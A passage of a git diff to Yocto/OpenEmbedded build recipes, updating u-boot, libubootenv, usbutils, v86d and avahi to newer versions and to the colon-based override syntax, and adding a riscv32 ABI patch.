-FILES_${PN}-dbg += "${datadir}/doc/pm-utils/README.debugging"
+FILES:${PN} += "${libdir}/${BPN}/*"
+FILES:${PN}-dbg += "${datadir}/doc/pm-utils/README.debugging"
diff --git a/meta/recipes-bsp/u-boot/files/0001-riscv32-Use-double-float-ABI-for-rv32.patch b/meta/recipes-bsp/u-boot/files/0001-riscv32-Use-double-float-ABI-for-rv32.patch
new file mode 100644
index 0000000000..0ed3de4914
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/files/0001-riscv32-Use-double-float-ABI-for-rv32.patch
@@ -0,0 +1,42 @@
+From 66dfe0fa886f6289add06d1af8642ce2b5302852 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 9 Feb 2021 16:40:12 -0800
+Subject: [PATCH] riscv32: Use double-float ABI for rv32
+
+So it can use libgcc built with OE toolchain
+Fixes
+error: "can't link hard-float modules with soft-float modules"
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [embedded specific]
+---
+ arch/riscv/Makefile | 6 ++++--
+ 1 file changed, 4 insertions(+), 2 deletions(-)
+
+diff --git a/arch/riscv/Makefile b/arch/riscv/Makefile
+index 0b80eb8d86..7324946f48 100644
+--- a/arch/riscv/Makefile
++++ b/arch/riscv/Makefile
+@@ -9,7 +9,9 @@ ifeq ($(CONFIG_ARCH_RV64I),y)
+ endif
+ ifeq ($(CONFIG_ARCH_RV32I),y)
+ ARCH_BASE = rv32im
+- ABI = ilp32
++ ABI = ilp32d
++ ARCH_D = d
++ ARCH_F = f
+ endif
+ ifeq ($(CONFIG_RISCV_ISA_A),y)
+ ARCH_A = a
+@@ -24,7 +26,7 @@ ifeq ($(CONFIG_CMODEL_MEDANY),y)
+ CMODEL = medany
+ endif
+
+-ARCH_FLAGS = -march=$(ARCH_BASE)$(ARCH_A)$(ARCH_C) -mabi=$(ABI) \
++ARCH_FLAGS = -march=$(ARCH_BASE)$(ARCH_A)$(ARCH_F)$(ARCH_D)$(ARCH_C) -mabi=$(ABI) \
+ -mcmodel=$(CMODEL)
+
+ PLATFORM_CPPFLAGS += $(ARCH_FLAGS)
+--
+2.30.0
+
diff --git a/meta/recipes-bsp/u-boot/libubootenv_0.3.1.bb b/meta/recipes-bsp/u-boot/libubootenv_0.3.1.bb
deleted file mode 100644
index 613e3161fb..0000000000
--- a/meta/recipes-bsp/u-boot/libubootenv_0.3.1.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "U-Boot libraries and tools to access environment"
-
-DESCRIPTION = "This package contains tools and libraries to read \
-and modify U-Boot environment. \
-It provides a hardware-independent replacement for fw_printenv/setenv utilities \
-provided by U-Boot"
-
-HOMEPAGE = "https://github.com/sbabic/libubootenv"
-LICENSE = "LGPL-2.1"
-LIC_FILES_CHKSUM = "file://Licenses/lgpl-2.1.txt;md5=4fbd65380cdd255951079008b364516c"
-SECTION = "libs"
-
-SRC_URI = "git://github.com/sbabic/libubootenv;protocol=https"
-SRCREV = "824551ac77bab1d0f7ae34d7a7c77b155240e754"
-
-S = "${WORKDIR}/git"
-
-inherit uboot-config cmake lib_package
-
-EXTRA_OECMAKE = "-DCMAKE_BUILD_TYPE=Release"
-
-DEPENDS = "zlib"
-PROVIDES += "u-boot-fw-utils"
-RPROVIDES_${PN}-bin += "u-boot-fw-utils"
-
-PACKAGE_ARCH = "${MACHINE_ARCH}"
-
-RRECOMMENDS_${PN}-bin_append_class-target = " u-boot-default-env"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-bsp/u-boot/libubootenv_0.3.2.bb b/meta/recipes-bsp/u-boot/libubootenv_0.3.2.bb
new file mode 100644
index 0000000000..6906e5362d
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/libubootenv_0.3.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "U-Boot libraries and tools to access environment"
+
+DESCRIPTION = "This package contains tools and libraries to read \
+and modify U-Boot environment. \
+It provides a hardware-independent replacement for fw_printenv/setenv utilities \
+provided by U-Boot"
+
+HOMEPAGE = "https://github.com/sbabic/libubootenv"
+LICENSE = "LGPL-2.1"
+LIC_FILES_CHKSUM = "file://Licenses/lgpl-2.1.txt;md5=4fbd65380cdd255951079008b364516c"
+SECTION = "libs"
+
+SRC_URI = "git://github.com/sbabic/libubootenv;protocol=https;branch=master"
+SRCREV = "ba7564f5006d09bec51058cf4f5ac90d4dc18b3c"
+
+S = "${WORKDIR}/git"
+
+inherit cmake lib_package
+
+EXTRA_OECMAKE = "-DCMAKE_BUILD_TYPE=Release"
+
+DEPENDS = "zlib"
+PROVIDES += "u-boot-fw-utils"
+RPROVIDES:${PN}-bin += "u-boot-fw-utils"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-bsp/u-boot/u-boot-common.inc b/meta/recipes-bsp/u-boot/u-boot-common.inc
index cbce408a28..5a3fc17ad1 100644
--- a/meta/recipes-bsp/u-boot/u-boot-common.inc
+++ b/meta/recipes-bsp/u-boot/u-boot-common.inc
@@ -12,9 +12,9 @@ PE = "1"
# We use the revision in order to avoid having to fetch it from the
# repo during parse
-SRCREV = "050acee119b3757fee3bd128f55d720fdd9bb890"
+SRCREV = "d80bb749fab53da72c4a0e09b8c2d2aaa3103c91"
-SRC_URI = "git://git.denx.de/u-boot.git \
+SRC_URI = "git://git.denx.de/u-boot.git;branch=master \
"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-bsp/u-boot/u-boot-tools.inc b/meta/recipes-bsp/u-boot/u-boot-tools.inc
index 8ae290acc6..7eda6a0897 100644
--- a/meta/recipes-bsp/u-boot/u-boot-tools.inc
+++ b/meta/recipes-bsp/u-boot/u-boot-tools.inc
@@ -2,27 +2,42 @@ SUMMARY = "U-Boot bootloader tools"
DEPENDS += "openssl"
PROVIDES = "${MLPREFIX}u-boot-mkimage ${MLPREFIX}u-boot-mkenvimage"
-PROVIDES_class-native = "u-boot-mkimage-native u-boot-mkenvimage-native"
+PROVIDES:class-native = "u-boot-mkimage-native u-boot-mkenvimage-native"
PACKAGES += "${PN}-mkimage ${PN}-mkenvimage"
# Required for backward compatibility with "u-boot-mkimage-xxx.bb"
-RPROVIDES_${PN}-mkimage = "u-boot-mkimage"
-RREPLACES_${PN}-mkimage = "u-boot-mkimage"
-RCONFLICTS_${PN}-mkimage = "u-boot-mkimage"
+RPROVIDES:${PN}-mkimage = "u-boot-mkimage"
+RREPLACES:${PN}-mkimage = "u-boot-mkimage"
+RCONFLICTS:${PN}-mkimage = "u-boot-mkimage"
-EXTRA_OEMAKE_class-target = 'CROSS_COMPILE="${TARGET_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
-EXTRA_OEMAKE_class-native = 'CC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
-EXTRA_OEMAKE_class-nativesdk = 'CROSS_COMPILE="${HOST_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
+EXTRA_OEMAKE:class-target = 'CROSS_COMPILE="${TARGET_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
+EXTRA_OEMAKE:class-native = 'CC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
+EXTRA_OEMAKE:class-nativesdk = 'CROSS_COMPILE="${HOST_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
SED_CONFIG_EFI = '-e "s/CONFIG_EFI_LOADER=.*/# CONFIG_EFI_LOADER is not set/"'
-SED_CONFIG_EFI_x86 = ''
-SED_CONFIG_EFI_x86-64 = ''
-SED_CONFIG_EFI_arm = ''
-SED_CONFIG_EFI_armeb = ''
-SED_CONFIG_EFI_aarch64 = ''
+SED_CONFIG_EFI:x86 = ''
+SED_CONFIG_EFI:x86-64 = ''
+SED_CONFIG_EFI:arm = ''
+SED_CONFIG_EFI:armeb = ''
+SED_CONFIG_EFI:aarch64 = ''
do_compile () {
+ # Yes, this is crazy. If you build on a system with git < 2.14 from scratch, the tree will
+ # be marked as "dirty" and the version will include "-dirty", leading to a reproducibility problem.
+ # The issue is the inode count for Licnses/README changing due to do_populate_lic hardlinking a
+ # copy of the file. We avoid this by ensuring the index is updated with a "git diff" before the
+ # u-boot machinery tries to determine the version.
+ #
+ # build$ ../git/scripts/setlocalversion ../git
+ # ""
+ # build$ ln ../git/
+ # build$ ln ../git/README ../foo
+ # build$ ../git/scripts/setlocalversion ../git
+ # ""-dirty
+ # (i.e. creating a hardlink dirties the index)
+ cd ${S}; git diff; cd ${B}
+
oe_runmake -C ${S} sandbox_defconfig O=${B}
# Disable CONFIG_CMD_LICENSE, license.h is not used by tools and
@@ -53,14 +68,14 @@ do_install () {
ln -sf uboot-fit_check_sign ${D}${bindir}/fit_check_sign
}
-ALLOW_EMPTY_${PN} = "1"
-FILES_${PN} = ""
-FILES_${PN}-mkimage = "${bindir}/uboot-mkimage ${bindir}/mkimage ${bindir}/uboot-dumpimage ${bindir}/dumpimage ${bindir}/uboot-fit_check_sign ${bindir}/fit_check_sign"
-FILES_${PN}-mkenvimage = "${bindir}/uboot-mkenvimage ${bindir}/mkenvimage"
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+FILES:${PN}-mkimage = "${bindir}/uboot-mkimage ${bindir}/mkimage ${bindir}/uboot-dumpimage ${bindir}/dumpimage ${bindir}/uboot-fit_check_sign ${bindir}/fit_check_sign"
+FILES:${PN}-mkenvimage = "${bindir}/uboot-mkenvimage ${bindir}/mkenvimage"
-RDEPENDS_${PN}-mkimage += "dtc"
-RDEPENDS_${PN} += "${PN}-mkimage ${PN}-mkenvimage"
-RDEPENDS_${PN}_class-native = ""
+RDEPENDS:${PN}-mkimage += "dtc"
+RDEPENDS:${PN} += "${PN}-mkimage ${PN}-mkenvimage"
+RDEPENDS:${PN}:class-native = ""
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-bsp/u-boot/u-boot-tools_2020.10.bb b/meta/recipes-bsp/u-boot/u-boot-tools_2020.10.bb
deleted file mode 100644
index ef386f76e6..0000000000
--- a/meta/recipes-bsp/u-boot/u-boot-tools_2020.10.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-require u-boot-common.inc
-require u-boot-tools.inc
-
diff --git a/meta/recipes-bsp/u-boot/u-boot-tools_2021.10.bb b/meta/recipes-bsp/u-boot/u-boot-tools_2021.10.bb
new file mode 100644
index 0000000000..7eaf721ca8
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/u-boot-tools_2021.10.bb
@@ -0,0 +1,2 @@
+require u-boot-common.inc
+require u-boot-tools.inc
diff --git a/meta/recipes-bsp/u-boot/u-boot.inc b/meta/recipes-bsp/u-boot/u-boot.inc
index 251178db33..2d5e46f4ef 100644
--- a/meta/recipes-bsp/u-boot/u-boot.inc
+++ b/meta/recipes-bsp/u-boot/u-boot.inc
@@ -4,8 +4,9 @@ PROVIDES = "virtual/bootloader"
PACKAGE_ARCH = "${MACHINE_ARCH}"
DEPENDS += "kern-tools-native"
+DEPENDS += "${@bb.utils.contains('UBOOT_ENV_SUFFIX', 'scr', 'u-boot-mkimage-native', '', d)}"
-inherit uboot-config uboot-extlinux-config uboot-sign deploy cml1 python3native
+inherit uboot-config uboot-extlinux-config uboot-sign deploy cml1 python3native kernel-arch
DEPENDS += "swig-native"
@@ -24,52 +25,6 @@ PACKAGECONFIG[openssl] = ",,openssl-native"
# file already exists it will not be overwritten.
UBOOT_LOCALVERSION ?= ""
-# Some versions of u-boot use .bin and others use .img. By default use .bin
-# but enable individual recipes to change this value.
-UBOOT_SUFFIX ??= "bin"
-UBOOT_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.${UBOOT_SUFFIX}"
-UBOOT_SYMLINK ?= "u-boot-${MACHINE}.${UBOOT_SUFFIX}"
-UBOOT_MAKE_TARGET ?= "all"
-
-# Output the ELF generated. Some platforms can use the ELF file and directly
-# load it (JTAG booting, QEMU) additionally the ELF can be used for debugging
-# purposes.
-UBOOT_ELF ?= ""
-UBOOT_ELF_SUFFIX ?= "elf"
-UBOOT_ELF_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.${UBOOT_ELF_SUFFIX}"
-UBOOT_ELF_BINARY ?= "u-boot.${UBOOT_ELF_SUFFIX}"
-UBOOT_ELF_SYMLINK ?= "u-boot-${MACHINE}.${UBOOT_ELF_SUFFIX}"
-
-# Some versions of u-boot build an SPL (Second Program Loader) image that
-# should be packaged along with the u-boot binary as well as placed in the
-# deploy directory. For those versions they can set the following variables
-# to allow packaging the SPL.
-SPL_BINARY ?= ""
-SPL_BINARYNAME ?= "${@os.path.basename(d.getVar("SPL_BINARY"))}"
-SPL_IMAGE ?= "${SPL_BINARYNAME}-${MACHINE}-${PV}-${PR}"
-SPL_SYMLINK ?= "${SPL_BINARYNAME}-${MACHINE}"
-
-# Additional environment variables or a script can be installed alongside
-# u-boot to be used automatically on boot. This file, typically 'uEnv.txt'
-# or 'boot.scr', should be packaged along with u-boot as well as placed in the
-# deploy directory. Machine configurations needing one of these files should
-# include it in the SRC_URI and set the UBOOT_ENV parameter.
-UBOOT_ENV_SUFFIX ?= "txt"
-UBOOT_ENV ?= ""
-UBOOT_ENV_BINARY ?= "${UBOOT_ENV}.${UBOOT_ENV_SUFFIX}"
-UBOOT_ENV_IMAGE ?= "${UBOOT_ENV}-${MACHINE}-${PV}-${PR}.${UBOOT_ENV_SUFFIX}"
-UBOOT_ENV_SYMLINK ?= "${UBOOT_ENV}-${MACHINE}.${UBOOT_ENV_SUFFIX}"
-
-# Default name of u-boot initial env, but enable individual recipes to change
-# this value.
-UBOOT_INITIAL_ENV ?= "${PN}-initial-env"
-
-# U-Boot EXTLINUX variables. U-Boot searches for /boot/extlinux/extlinux.conf
-# to find EXTLINUX conf file.
-UBOOT_EXTLINUX_INSTALL_DIR ?= "/boot/extlinux"
-UBOOT_EXTLINUX_CONF_NAME ?= "extlinux.conf"
-UBOOT_EXTLINUX_SYMLINK ?= "${UBOOT_EXTLINUX_CONF_NAME}-${MACHINE}-${PR}"
-
do_configure () {
if [ -n "${UBOOT_CONFIG}" ]; then
unset i j
@@ -128,7 +83,7 @@ do_compile () {
for binary in ${UBOOT_BINARIES}; do
k=$(expr $k + 1);
if [ $k -eq $i ]; then
- cp ${B}/${config}/${binary} ${B}/${config}/u-boot-${type}.${UBOOT_SUFFIX}
+ cp ${B}/${config}/${binary} ${B}/${config}/${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX}
fi
done
@@ -152,6 +107,11 @@ do_compile () {
oe_runmake -C ${S} O=${B} u-boot-initial-env
fi
fi
+
+ if [ -n "${UBOOT_ENV}" ] && [ "${UBOOT_ENV_SUFFIX}" = "scr" ]
+ then
+ ${UBOOT_MKIMAGE} -C none -A ${UBOOT_ARCH} -T script -d ${WORKDIR}/${UBOOT_ENV_SRC} ${WORKDIR}/${UBOOT_ENV_BINARY}
+ fi
}
do_install () {
@@ -163,9 +123,9 @@ do_install () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -D -m 644 ${B}/${config}/u-boot-${type}.${UBOOT_SUFFIX} ${D}/boot/u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}-${type}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}
+ install -D -m 644 ${B}/${config}/${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}-${type}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${D}/boot/${UBOOT_BINARY}
# Install the uboot-initial-env
if [ -n "${UBOOT_INITIAL_ENV}" ]; then
@@ -230,9 +190,9 @@ do_install () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -m 644 ${B}/${config}/${SPL_BINARY} ${D}/boot/${SPL_IMAGE}-${type}-${PV}-${PR}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${D}/boot/${SPL_BINARYNAME}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${D}/boot/${SPL_BINARYNAME}
+ install -m 644 ${B}/${config}/${SPL_BINARY} ${D}/boot/${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${D}/boot/${SPL_BINARYFILE}-${type}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${D}/boot/${SPL_BINARYFILE}
fi
done
unset j
@@ -240,7 +200,7 @@ do_install () {
unset i
else
install -m 644 ${B}/${SPL_BINARY} ${D}/boot/${SPL_IMAGE}
- ln -sf ${SPL_IMAGE} ${D}/boot/${SPL_BINARYNAME}
+ ln -sf ${SPL_IMAGE} ${D}/boot/${SPL_BINARYFILE}
fi
fi
@@ -256,17 +216,20 @@ do_install () {
fi
}
-PACKAGE_BEFORE_PN += "${PN}-env"
+PACKAGE_BEFORE_PN += "${PN}-env ${PN}-extlinux"
-RPROVIDES_${PN}-env += "u-boot-default-env"
-ALLOW_EMPTY_${PN}-env = "1"
-FILES_${PN}-env = " \
+RPROVIDES:${PN}-env += "u-boot-default-env"
+ALLOW_EMPTY:${PN}-env = "1"
+FILES:${PN}-env = " \
${@ '${sysconfdir}/${UBOOT_INITIAL_ENV}*' if d.getVar('UBOOT_INITIAL_ENV') else ''} \
${sysconfdir}/fw_env.config \
"
-FILES_${PN} = "/boot ${datadir}"
-RDEPENDS_${PN} += "${PN}-env"
+FILES:${PN}-extlinux = "${UBOOT_EXTLINUX_INSTALL_DIR}/${UBOOT_EXTLINUX_CONF_NAME}"
+RDEPENDS:${PN} += "${@bb.utils.contains('UBOOT_EXTLINUX', '1', '${PN}-extlinux', '', d)}"
+
+FILES:${PN} = "/boot ${datadir}"
+RDEPENDS:${PN} += "${PN}-env"
do_deploy () {
if [ -n "${UBOOT_CONFIG}" ]
@@ -277,12 +240,12 @@ do_deploy () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -D -m 644 ${B}/${config}/u-boot-${type}.${UBOOT_SUFFIX} ${DEPLOYDIR}/u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
+ install -D -m 644 ${B}/${config}/${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX} ${DEPLOYDIR}/${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX}
cd ${DEPLOYDIR}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}-${type}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}-${type}
- ln -sf u-boot-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}-${type}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_SYMLINK}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}-${type}
+ ln -sf ${UBOOT_BINARYNAME}-${type}-${PV}-${PR}.${UBOOT_SUFFIX} ${UBOOT_BINARY}
# Deploy the uboot-initial-env
if [ -n "${UBOOT_INITIAL_ENV}" ]; then
@@ -358,12 +321,12 @@ do_deploy () {
j=$(expr $j + 1);
if [ $j -eq $i ]
then
- install -m 644 ${B}/${config}/${SPL_BINARY} ${DEPLOYDIR}/${SPL_IMAGE}-${type}-${PV}-${PR}
- rm -f ${DEPLOYDIR}/${SPL_BINARYNAME} ${DEPLOYDIR}/${SPL_SYMLINK}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_BINARYNAME}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_BINARYNAME}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_SYMLINK}-${type}
- ln -sf ${SPL_IMAGE}-${type}-${PV}-${PR} ${DEPLOYDIR}/${SPL_SYMLINK}
+ install -m 644 ${B}/${config}/${SPL_BINARY} ${DEPLOYDIR}/${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX}
+ rm -f ${DEPLOYDIR}/${SPL_BINARYFILE} ${DEPLOYDIR}/${SPL_SYMLINK}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_BINARYFILE}-${type}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_BINARYFILE}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_SYMLINK}-${type}
+ ln -sf ${SPL_BINARYNAME}-${type}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX} ${DEPLOYDIR}/${SPL_SYMLINK}
fi
done
unset j
@@ -392,6 +355,11 @@ do_deploy () {
ln -sf ${UBOOT_EXTLINUX_SYMLINK} ${DEPLOYDIR}/${UBOOT_EXTLINUX_CONF_NAME}-${MACHINE}
ln -sf ${UBOOT_EXTLINUX_SYMLINK} ${DEPLOYDIR}/${UBOOT_EXTLINUX_CONF_NAME}
fi
+
+ if [ -n "${UBOOT_DTB}" ]
+ then
+ install -m 644 ${B}/arch/${UBOOT_ARCH}/dts/${UBOOT_DTB_BINARY} ${DEPLOYDIR}/
+ fi
}
addtask deploy before do_build after do_compile
diff --git a/meta/recipes-bsp/u-boot/u-boot_2020.10.bb b/meta/recipes-bsp/u-boot/u-boot_2020.10.bb
deleted file mode 100644
index 4f5b3e5dfd..0000000000
--- a/meta/recipes-bsp/u-boot/u-boot_2020.10.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require u-boot-common.inc
-require u-boot.inc
-
-DEPENDS += "bc-native dtc-native"
-
diff --git a/meta/recipes-bsp/u-boot/u-boot_2021.10.bb b/meta/recipes-bsp/u-boot/u-boot_2021.10.bb
new file mode 100644
index 0000000000..617827ff08
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/u-boot_2021.10.bb
@@ -0,0 +1,7 @@
+require u-boot-common.inc
+require u-boot.inc
+
+SRC_URI:append = " file://0001-riscv32-Use-double-float-ABI-for-rv32.patch"
+
+DEPENDS += "bc-native dtc-native python3-setuptools-native"
+
diff --git a/meta/recipes-bsp/usbutils/usbutils_013.bb b/meta/recipes-bsp/usbutils/usbutils_013.bb
deleted file mode 100644
index 51f909b795..0000000000
--- a/meta/recipes-bsp/usbutils/usbutils_013.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Host side USB console utilities"
-DESCRIPTION = "Contains the lsusb utility for inspecting the devices connected to the USB bus."
-HOMEPAGE = "http://www.linux-usb.org"
-SECTION = "base"
-
-LICENSE = "GPLv2+ & (GPLv2 | GPLv3)"
-# License files went missing in 010, when 011 is released add LICENSES/* back
-LIC_FILES_CHKSUM = "file://lsusb.c;endline=1;md5=7d4861d978ff5ba7cb2b319ed1d4afe3 \
- file://lsusb.py.in;beginline=2;endline=2;md5=194d6a0226bf90f4f683e8968878b6cd"
-
-DEPENDS = "libusb1 virtual/libiconv udev"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/usb/usbutils/usbutils-${PV}.tar.gz \
- "
-SRC_URI[sha256sum] = "efdfd5403dbdd7412de6bb897d5fbaae65ef3eb4332032c0e1f216216618e9a9"
-
-inherit autotools pkgconfig update-alternatives
-
-ALTERNATIVE_${PN} = "lsusb"
-ALTERNATIVE_PRIORITY = "100"
-
-# The binaries are mostly GPLv2+ apart from lsusb.py which is GPLv2 or v3.
-LICENSE_${PN} = "GPLv2+"
-LICENSE_${PN}-python = "GPLv2 | GPLv3"
-
-RRECOMMENDS_${PN} = "udev-hwdb"
-
-PACKAGE_BEFORE_PN =+ "${PN}-python"
-FILES_${PN}-python += "${bindir}/lsusb.py"
-RDEPENDS_${PN}-python = "python3-core"
diff --git a/meta/recipes-bsp/usbutils/usbutils_014.bb b/meta/recipes-bsp/usbutils/usbutils_014.bb
new file mode 100644
index 0000000000..ef3fd749c0
--- /dev/null
+++ b/meta/recipes-bsp/usbutils/usbutils_014.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Host side USB console utilities"
+DESCRIPTION = "Contains the lsusb utility for inspecting the devices connected to the USB bus."
+HOMEPAGE = "http://www.linux-usb.org"
+SECTION = "base"
+
+LICENSE = "GPLv2+ & (GPLv2 | GPLv3)"
+# License files went missing in 010, when 011 is released add LICENSES/* back
+LIC_FILES_CHKSUM = "file://lsusb.c;endline=1;md5=7226e442a172bcf25807246d7ef1eba1 \
+ file://lsusb.py.in;beginline=2;endline=2;md5=c443ada211d701156e42ea36d41625b3 \
+ "
+
+DEPENDS = "libusb1 virtual/libiconv udev"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/usb/usbutils/usbutils-${PV}.tar.gz \
+ "
+SRC_URI[sha256sum] = "59398ab012888dfe0fd12e447b45f36801e9d7b71d9a865fc38e2f549afdb9d0"
+
+inherit autotools pkgconfig update-alternatives
+
+ALTERNATIVE:${PN} = "lsusb"
+ALTERNATIVE_PRIORITY = "100"
+
+# The binaries are mostly GPLv2+ apart from lsusb.py which is GPLv2 or v3.
+LICENSE:${PN} = "GPLv2+"
+LICENSE:${PN}-python = "GPLv2 | GPLv3"
+
+RRECOMMENDS:${PN} = "udev-hwdb"
+
+PACKAGE_BEFORE_PN =+ "${PN}-python"
+FILES:${PN}-python += "${bindir}/lsusb.py"
+RDEPENDS:${PN}-python = "python3-core"
diff --git a/meta/recipes-bsp/v86d/v86d_0.1.10.bb b/meta/recipes-bsp/v86d/v86d_0.1.10.bb
index a8df80fdd6..b011276f47 100644
--- a/meta/recipes-bsp/v86d/v86d_0.1.10.bb
+++ b/meta/recipes-bsp/v86d/v86d_0.1.10.bb
@@ -1,12 +1,13 @@
SUMMARY = "User support binary for the uvesafb kernel module"
HOMEPAGE = "https://tracker.debian.org/pkg/v86d"
+DESCRIPTION = "v86d provides a backend for kernel drivers that need to execute x86 BIOS code. The code is executed in a controlled environment and the results are passed back to the kernel via the netlink interface."
# the copyright info is at the bottom of README, expect break
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://README;md5=94ac1971e4f2309dc322d598e7b1f7dd"
DEPENDS = "virtual/kernel"
-RRECOMMENDS_${PN} = "kernel-module-uvesafb"
+RRECOMMENDS:${PN} = "kernel-module-uvesafb"
PR = "r2"
SRC_URI = "http://snapshot.debian.org/archive/debian/20110427T035506Z/pool/main/v/${BPN}/${BPN}_${PV}.orig.tar.gz \
diff --git a/meta/recipes-connectivity/avahi/avahi_0.8.bb b/meta/recipes-connectivity/avahi/avahi_0.8.bb
index c8a3f876aa..4b15d11b61 100644
--- a/meta/recipes-connectivity/avahi/avahi_0.8.bb
+++ b/meta/recipes-connectivity/avahi/avahi_0.8.bb
@@ -24,16 +24,21 @@ SRC_URI = "https://github.com/lathiat/avahi/releases/download/v${PV}/avahi-${PV}
file://99avahi-autoipd \
file://initscript.patch \
file://0001-Fix-opening-etc-resolv.conf-error.patch \
+ file://handle-hup.patch \
+ file://local-ping.patch \
"
UPSTREAM_CHECK_URI = "https://github.com/lathiat/avahi/releases/"
SRC_URI[md5sum] = "229c6aa30674fc43c202b22c5f8c2be7"
SRC_URI[sha256sum] = "060309d7a333d38d951bc27598c677af1796934dbd98e1024e7ad8de798fedda"
-DEPENDS = "expat libcap libdaemon glib-2.0 intltool-native"
+# Issue only affects Debian/SUSE, not us
+CVE_CHECK_WHITELIST += "CVE-2021-26720"
+
+DEPENDS = "expat libcap libdaemon glib-2.0"
# For gtk related PACKAGECONFIGs: gtk, gtk3
-AVAHI_GTK ?= "gtk3"
+AVAHI_GTK ?= ""
PACKAGECONFIG ??= "dbus ${@bb.utils.contains_any('DISTRO_FEATURES','x11 wayland','${AVAHI_GTK}','',d)}"
PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
